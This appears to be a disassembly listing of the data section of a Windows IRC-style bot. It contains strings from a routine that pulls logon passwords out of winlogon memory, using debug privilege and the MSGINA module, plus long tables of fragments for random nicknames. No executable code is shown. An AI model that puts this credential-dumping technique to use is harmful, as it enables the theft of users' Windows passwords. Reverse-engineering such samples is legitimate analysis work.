		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
; char asc_44ED90[]
asc_44ED90	db '-'                  ; DATA XREF: sub_417A8B:loc_417BD7o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
aSedebugprivi_0	db 'SeDebugPrivilege',0 ; DATA XREF: sub_417A8B+161o
		align 10h
; char asc_44EDD0[]
asc_44EDD0	db '-'                  ; DATA XREF: sub_417A8B:loc_417C04o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_44EE04	db  2Dh	; -		; DATA XREF: sub_417A8B+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
; char aWinlogon[]
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417C5D+AFo
		align 10h
; char aNwgina[]
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417C5D+123o
		align 4
; char aMsgina[]
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417C5D+13Eo
		align 10h
; char asc_44EE50[]
asc_44EE50	db '-'                  ; DATA XREF: sub_4180C3+70o
		db 3, 34h, 2
		dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
		dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
		dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
		dd 65735502h, 203A0272h, 2F532528h, 295325h
; char asc_44EEA0[]
asc_44EEA0	db '-'                  ; DATA XREF: sub_41815A+C7o
		db 3, 34h, 2
		dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
		dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
		dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
		dd 65735502h, 203A0272h, 2F532528h, 295325h
; char asc_44EEF0[]
asc_44EEF0	db '-'                  ; DATA XREF: sub_41815A+E1o
		db 3, 34h, 2
		dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
		dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
		dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
		dd 65735502h, 203A0272h, 2F532528h, 412F4E28h, 2929h
; char *off_44EF44
off_44EF44	dd offset dword_44F3DC	; DATA XREF: sub_418650+5Cr
		dd offset dword_44F3E0
		dd offset dword_44F3E4
		dd offset dword_44F3E8
		dd offset dword_44F3EC
		dd offset dword_44F3F0
		dd offset dword_44F3F4
		dd offset dword_44F3F8
		dd offset dword_44F3FC
		dd offset dword_44F400
		dd offset dword_44F404
		dd offset dword_44F408
		dd offset dword_44F40C
		dd offset dword_44F410
		dd offset dword_44F414
		dd offset dword_44F418
		dd offset dword_44F41C
		dd offset dword_44F420
		dd offset dword_44F424
		dd offset dword_44F428
		dd offset dword_44F42C
		dd offset dword_44F430
		dd offset dword_44F434
		dd offset dword_44F438
		dd offset dword_44F43C
		dd offset dword_44F440
		dd offset dword_44F444
		dd offset dword_44F448
		dd offset dword_44F44C
		dd offset dword_44F450
		dd offset dword_44F454
		dd offset dword_44F458
		dd offset dword_44F45C
		dd offset dword_44F460
		dd offset dword_44F464
		dd offset dword_44F468
		dd offset dword_44F46C
		dd offset dword_44F470
		dd offset dword_44F474
		dd offset dword_44F478
		dd offset dword_44F47C
		dd offset dword_44F480
		dd offset dword_44F484
		dd offset dword_44F488
		dd offset dword_44F48C
		dd offset dword_44F490
		dd offset dword_44F494
		dd offset dword_44F498
		dd offset dword_44F49C
		dd offset dword_44F4A0
		dd offset dword_44F4A4
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset aAyla		; "AYLA-"
		dd offset off_44F70C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_44F8A0
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
; char *off_44F244
off_44F244	dd offset aSex_1	; DATA XREF: sub_418650+41r
					; sub_418650+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset aB		; "b"
		dd offset aC_4		; "c"
		dd offset aD_2		; "d"
		dd offset aE_0		; "e"
		dd offset aF		; "f"
		dd offset aG		; "g"
		dd offset asc_44FA58	; "h"
		dd offset aI_1		; "i"
		dd offset a__11		; "_"
		dd offset aJ_1		; "j"
		dd offset aK_0		; "k"
		dd offset asc_44FA6C	; "l"
		dd offset aM_2		; "m"
		dd offset aN_0		; "n"
		dd offset aO_0		; "o"
		dd offset aP_0		; "p"
		dd offset aQ_0		; "q"
		dd offset aRs		; "rs"
		dd offset aT_0		; "t"
		dd offset aU_0		; "u"
		dd offset aV_0		; "v"
		dd offset aW		; "w"
		dd offset asc_44FA98	; "x"
		dd offset aY		; "y"
		dd offset aZ		; "z"
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset aZ_0		; "z"
		dd offset aG_0		; "g"
		dd offset aS_39		; "s"
		dd offset aQ_1		; "q"
		dd offset aBrb		; "BRB"
		dd offset aBbl		; "|bbl"
		dd offset dword_4F2964
		dd offset dword_4F2968
		dd offset a___0		; "_|_"
		dd offset dword_4F296C
		dd offset dword_4F2970
		dd offset dword_4F2974
		dd offset dword_4F2978
		dd offset aF_0		; "F"
		dd offset aM_3		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_1		; "^^^f^"
		dd offset aB_0		; "b"
		dd offset dword_4F297C
		dd offset aSleeping	; "Sleeping"
		dd offset dword_4F2980
		dd offset dword_4F2984
		dd offset aFuck_0	; "Fuck"
		dd offset aFree_0	; "Free"
		dd offset dword_4F2988
		dd offset dword_4F298C
		dd offset asc_44FB40	; "X"
		dd offset dword_4F2990
		dd offset aBoy		; "BOY"
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset aTot_0	; "tot"
		dd offset aLol		; "lol"
		dd offset aLoloA	; "lolo|a|"
		dd offset aSex4free	; "|sex4free|"
		dd offset a4us		; "|4us|"
		dd offset a4you		; "{4you}"
		dd offset a4u		; "|4u|"
		dd offset a5u		; "5u"
		dd offset a6u		; "6u"
dword_44F3DC	dd 71h			; DATA XREF: .data:off_44EF44o
dword_44F3E0	dd 77h			; DATA XREF: .data:0044EF48o
dword_44F3E4	dd 65h			; DATA XREF: .data:0044EF4Co
dword_44F3E8	dd 72h			; DATA XREF: .data:0044EF50o
dword_44F3EC	dd 74h			; DATA XREF: .data:0044EF54o
dword_44F3F0	dd 79h			; DATA XREF: .data:0044EF58o
dword_44F3F4	dd 75h			; DATA XREF: .data:0044EF5Co
dword_44F3F8	dd 69h			; DATA XREF: .data:0044EF60o
dword_44F3FC	dd 70h			; DATA XREF: .data:0044EF64o
dword_44F400	dd 61h			; DATA XREF: .data:0044EF68o
dword_44F404	dd 73h			; DATA XREF: .data:0044EF6Co
dword_44F408	dd 64h			; DATA XREF: .data:0044EF70o
dword_44F40C	dd 66h			; DATA XREF: .data:0044EF74o
dword_44F410	dd 67h			; DATA XREF: .data:0044EF78o
dword_44F414	dd 68h			; DATA XREF: .data:0044EF7Co
dword_44F418	dd 6Ah			; DATA XREF: .data:0044EF80o
dword_44F41C	dd 6Bh			; DATA XREF: .data:0044EF84o
dword_44F420	dd 6Ch			; DATA XREF: .data:0044EF88o
dword_44F424	dd 7Ah			; DATA XREF: .data:0044EF8Co
dword_44F428	dd 78h			; DATA XREF: .data:0044EF90o
dword_44F42C	dd 63h			; DATA XREF: .data:0044EF94o
dword_44F430	dd 76h			; DATA XREF: .data:0044EF98o
dword_44F434	dd 62h			; DATA XREF: .data:0044EF9Co
dword_44F438	dd 6Eh			; DATA XREF: .data:0044EFA0o
dword_44F43C	dd 6Dh			; DATA XREF: .data:0044EFA4o
dword_44F440	dd 51h			; DATA XREF: .data:0044EFA8o
dword_44F444	dd 57h			; DATA XREF: .data:0044EFACo
dword_44F448	dd 45h			; DATA XREF: .data:0044EFB0o
dword_44F44C	dd 52h			; DATA XREF: .data:0044EFB4o
dword_44F450	dd 54h			; DATA XREF: .data:0044EFB8o
dword_44F454	dd 59h			; DATA XREF: .data:0044EFBCo
dword_44F458	dd 55h			; DATA XREF: .data:0044EFC0o
dword_44F45C	dd 49h			; DATA XREF: .data:0044EFC4o
dword_44F460	dd 4Fh			; DATA XREF: .data:0044EFC8o
dword_44F464	dd 50h			; DATA XREF: .data:0044EFCCo
dword_44F468	dd 41h			; DATA XREF: .data:0044EFD0o
dword_44F46C	dd 53h			; DATA XREF: .data:0044EFD4o
dword_44F470	dd 44h			; DATA XREF: .data:0044EFD8o
dword_44F474	dd 46h			; DATA XREF: .data:0044EFDCo
dword_44F478	dd 47h			; DATA XREF: .data:0044EFE0o
dword_44F47C	dd 48h			; DATA XREF: .data:0044EFE4o
dword_44F480	dd 4Ah			; DATA XREF: .data:0044EFE8o
dword_44F484	dd 4Bh			; DATA XREF: .data:0044EFECo
dword_44F488	dd 4Ch			; DATA XREF: .data:0044EFF0o
dword_44F48C	dd 5Ah			; DATA XREF: .data:0044EFF4o
dword_44F490	dd 58h			; DATA XREF: .data:0044EFF8o
dword_44F494	dd 43h			; DATA XREF: .data:0044EFFCo
dword_44F498	dd 56h			; DATA XREF: .data:0044F000o
dword_44F49C	dd 42h			; DATA XREF: .data:0044F004o
dword_44F4A0	dd 4Eh			; DATA XREF: .data:0044F008o
dword_44F4A4	dd 4Dh			; DATA XREF: .data:0044F00Co
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .data:0044F010o
		align 4
aFarooq		db 'farooq',0           ; DATA XREF: .data:0044F014o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .data:0044F018o
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .data:0044F01Co
		align 10h
aEmilya		db 'emilya',0           ; DATA XREF: .data:0044F020o
		align 4
aKrizha		db 'KRIZHA',0           ; DATA XREF: .data:0044F024o
		align 10h
aCar1nna	db 'Car1nna',0          ; DATA XREF: .data:0044F028o
aSwin		db 'swin',0             ; DATA XREF: .data:0044F02Co
		align 10h
aMale		db 'male',0             ; DATA XREF: .data:0044F030o
		align 4
aKoko		db 'koko',0             ; DATA XREF: .data:0044F034o
		align 10h
aFlexster	db 'flexster',0         ; DATA XREF: .data:0044F038o
		align 4
aKen		db 'ken',0              ; DATA XREF: .data:0044F03Co
aShez		db 'Shez',0             ; DATA XREF: .data:0044F040o
		align 4
aTalika		db 'talika',0           ; DATA XREF: .data:0044F044o
		align 10h
aMarcy		db 'marcy',0            ; DATA XREF: .data:0044F048o
		align 4
aCme		db 'cme',0              ; DATA XREF: .data:0044F04Co
aHeval		db 'heval',0            ; DATA XREF: .data:0044F050o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: .data:0044F054o
		align 4
aJanno		db 'janno',0            ; DATA XREF: .data:0044F058o
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: .data:0044F05Co
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: .data:0044F060o
		align 4
aLuisa		db 'Luisa',0            ; DATA XREF: .data:0044F064o
		align 10h
aTroller	db 'troller',0          ; DATA XREF: .data:0044F068o
aManee		db 'manee',0            ; DATA XREF: .data:0044F06Co
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: .data:0044F070o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: .data:0044F074o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: .data:0044F078o
		align 10h
aImra		db 'imra',0             ; DATA XREF: .data:0044F07Co
		align 4
aGirl		db 'GirL',0             ; DATA XREF: .data:0044F080o
		align 10h
aCamel		db 'CAMEL',0            ; DATA XREF: .data:0044F084o
		align 4
aReshma		db 'reshma',0           ; DATA XREF: .data:0044F088o
		align 10h
aKencing	db 'Kencing',0          ; DATA XREF: .data:0044F08Co
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .data:0044F090o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .data:0044F094o
		align 10h
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .data:0044F098o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: .data:0044F09Co
aHexaaa		db 'hexaaa',0           ; DATA XREF: .data:0044F0A0o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: .data:0044F0A4o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .data:0044F0A8o
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: .data:0044F0ACo
		align 4
aMisssunday	db 'misssunday',0       ; DATA XREF: .data:0044F0B0o
		align 4
aTolga34	db 'Tolga34',0          ; DATA XREF: .data:0044F0B4o
aJericho	db 'JERICHO',0          ; DATA XREF: .data:0044F0B8o
aMary_0		db 'MARY',0             ; DATA XREF: .data:0044F0BCo
		align 10h
aAkin		db 'AKIN',0             ; DATA XREF: .data:0044F0C0o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: .data:0044F0C4o
		align 10h
aTrend3		db 'trend3',0           ; DATA XREF: .data:0044F0C8o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .data:0044F0CCo
		align 4
aTekir		db 'tekir',0            ; DATA XREF: .data:0044F0D0o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: .data:0044F0D4o
		align 4
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .data:0044F0D8o
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: .data:0044F0DCo
aArzu		db 'ARZU',0             ; DATA XREF: .data:0044F0E0o
		align 4
aHaticem	db 'haticem',0          ; DATA XREF: .data:0044F0E4o
aErnesto	db 'ERNESTO',0          ; DATA XREF: .data:0044F0E8o
aAslii		db 'aslii',0            ; DATA XREF: .data:0044F0ECo
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .data:0044F0F0o
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .data:0044F0F4o
		align 10h
aRetg		db 'RETG',0             ; DATA XREF: .data:0044F0F8o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .data:0044F0FCo
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: .data:0044F100o
		align 10h
aAhmet		db 'ahmet',0            ; DATA XREF: .data:0044F104o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: .data:0044F108o
		align 10h
aAnk32m		db 'ank32m',0           ; DATA XREF: .data:0044F10Co
		align 4
aZack		db 'ZACK',0             ; DATA XREF: .data:0044F110o
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .data:0044F114o
		align 4
aAlbina		db 'albina',0           ; DATA XREF: .data:0044F118o
		align 4
aAyla		db 'AYLA-',0            ; DATA XREF: .data:0044F11Co
		align 4
off_44F70C	dd offset byte_457441	; DATA XREF: .data:0044F120o
aAnkh		db 'ankh',0             ; DATA XREF: .data:0044F124o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .data:0044F128o
		align 4
aBogac		db 'bogac',0            ; DATA XREF: .data:0044F12Co
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .data:0044F130o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .data:0044F134o
		align 4
aDenizlim	db 'DenizliM',0         ; DATA XREF: .data:0044F138o
		align 10h
aBerk19m	db 'Berk19m',0          ; DATA XREF: .data:0044F13Co
aDevran		db 'devran',0           ; DATA XREF: .data:0044F140o
		align 10h
aArda		db 'arda',0             ; DATA XREF: .data:0044F144o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .data:0044F148o
aMurat34M	db 'murat34-m',0        ; DATA XREF: .data:0044F14Co
		align 10h
aHakan3		db 'hakan3',0           ; DATA XREF: .data:0044F150o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .data:0044F154o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: .data:0044F158o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: .data:0044F15Co
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: .data:0044F160o
		align 10h
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: .data:0044F164o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: .data:0044F168o
aFlord		db 'FLoRD',0            ; DATA XREF: .data:0044F16Co
		align 4
aHoly		db 'holy',0             ; DATA XREF: .data:0044F170o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: .data:0044F174o
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: .data:0044F178o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: .data:0044F17Co
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: .data:0044F180o
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: .data:0044F184o
		align 4
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: .data:0044F188o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: .data:0044F18Co
aKumul		db 'kumul',0            ; DATA XREF: .data:0044F190o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: .data:0044F194o
		align 10h
aUmut		db 'umut-',0            ; DATA XREF: .data:0044F198o
		align 4
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: .data:0044F19Co
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: .data:0044F1A0o
aAnkar		db 'Ankar',0            ; DATA XREF: .data:0044F1A4o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: .data:0044F1A8o
		align 10h
aHayran		db 'hayran',0           ; DATA XREF: .data:0044F1ACo
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: .data:0044F1B0o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: .data:0044F1B4o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: .data:0044F1B8o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: .data:0044F1BCo
		align 10h
aKotan		db 'kotan',0            ; DATA XREF: .data:0044F1C0o
		align 4
aSevda		db 'sevda',0            ; DATA XREF: .data:0044F1C4o
		align 10h
off_44F8A0	dd offset byte_4B5245	; DATA XREF: .data:0044F1C8o
aAlcatras	db 'alcatras',0         ; DATA XREF: .data:0044F1CCo
		align 10h
aA44m		db 'a44m',0             ; DATA XREF: .data:0044F1D0o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: .data:0044F1D4o
		align 10h
aYabanc		db 'yabanc',0           ; DATA XREF: .data:0044F1D8o
		align 4
aDevre		db 'devre',0            ; DATA XREF: .data:0044F1DCo
		align 10h
aErkan		db 'erkan',0            ; DATA XREF: .data:0044F1E0o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: .data:0044F1E4o
		align 10h
aAdem28		db 'Adem28',0           ; DATA XREF: .data:0044F1E8o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: .data:0044F1ECo
		align 4
aM41ist		db 'M41IST',0           ; DATA XREF: .data:0044F1F0o
		align 4
aAdamm33	db 'AdAMM33',0          ; DATA XREF: .data:0044F1F4o
aFirtina	db 'firtina',0          ; DATA XREF: .data:0044F1F8o
aAta29		db 'Ata29',0            ; DATA XREF: .data:0044F1FCo
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: .data:0044F200o
		align 4
aAkden		db 'akden',0            ; DATA XREF: .data:0044F204o
		align 4
aIzmirlm	db 'izmirlm',0          ; DATA XREF: .data:0044F208o
aUla		db 'ula',0              ; DATA XREF: .data:0044F20Co
aNeHaber	db 'NE-HABER',0         ; DATA XREF: .data:0044F210o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: .data:0044F214o
		align 4
aTropikal	db 'tropikal',0         ; DATA XREF: .data:0044F218o
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: .data:0044F21Co
aCem39		db 'cem39',0            ; DATA XREF: .data:0044F220o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: .data:0044F224o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: .data:0044F228o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: .data:0044F22Co
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: .data:0044F230o
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: .data:0044F234o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: .data:0044F238o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: .data:0044F23Co
		align 10h
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: .data:0044F240o
		align 4
aSex_1		db 'sex',0              ; DATA XREF: .data:off_44F244o
aLez		db 'lez',0              ; DATA XREF: .data:0044F248o
aZex		db 'zex',0              ; DATA XREF: .data:0044F24Co
aTree		db 'tree',0             ; DATA XREF: .data:0044F250o
		align 10h
aBad		db 'bad',0              ; DATA XREF: .data:0044F254o
aLag		db 'lag',0              ; DATA XREF: .data:0044F258o
aTambe		db '|tambe|',0          ; DATA XREF: .data:0044F25Co
aWoh		db '|woh|',0            ; DATA XREF: .data:0044F260o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: .data:0044F264o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: .data:0044F268o
		align 4
aLuck		db '|luck|',0           ; DATA XREF: .data:0044F26Co
		align 10h
aHub		db '{hub}',0            ; DATA XREF: .data:0044F270o
		align 4
aSex_0		db '{sex}',0            ; DATA XREF: .data:0044F274o
		align 10h
aGens		db '{gens|',0           ; DATA XREF: .data:0044F278o
		align 4
aLuvuF		db '||luvu-f|',0        ; DATA XREF: .data:0044F27Co
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: .data:0044F280o
aSick		db 'sick}}',0           ; DATA XREF: .data:0044F284o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: .data:0044F288o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: .data:0044F28Co
		align 10h
aB:					; DATA XREF: .data:0044F290o
		unicode	0, <b>,0
aC_4:					; DATA XREF: .data:0044F294o
		unicode	0, <c>,0
aD_2:					; DATA XREF: .data:0044F298o
		unicode	0, <d>,0
aE_0:					; DATA XREF: .data:0044F29Co
		unicode	0, <e>,0
aF:					; DATA XREF: .data:0044F2A0o
		unicode	0, <f>,0
aG:					; DATA XREF: .data:0044F2A4o
		unicode	0, <g>,0
asc_44FA58:				; DATA XREF: .data:0044F2A8o
		unicode	0, <h>,0
aI_1:					; DATA XREF: .data:0044F2ACo
		unicode	0, <i>,0
a__11:					; DATA XREF: .data:0044F2B0o
		unicode	0, <_>,0
aJ_1:					; DATA XREF: .data:0044F2B4o
		unicode	0, <j>,0
aK_0:					; DATA XREF: .data:0044F2B8o
		unicode	0, <k>,0
asc_44FA6C:				; DATA XREF: .data:0044F2BCo
		unicode	0, <l>,0
aM_2:					; DATA XREF: .data:0044F2C0o
		unicode	0, <m>,0
aN_0:					; DATA XREF: .data:0044F2C4o
		unicode	0, <n>,0
aO_0:					; DATA XREF: .data:0044F2C8o
		unicode	0, <o>,0
aP_0:					; DATA XREF: .data:0044F2CCo
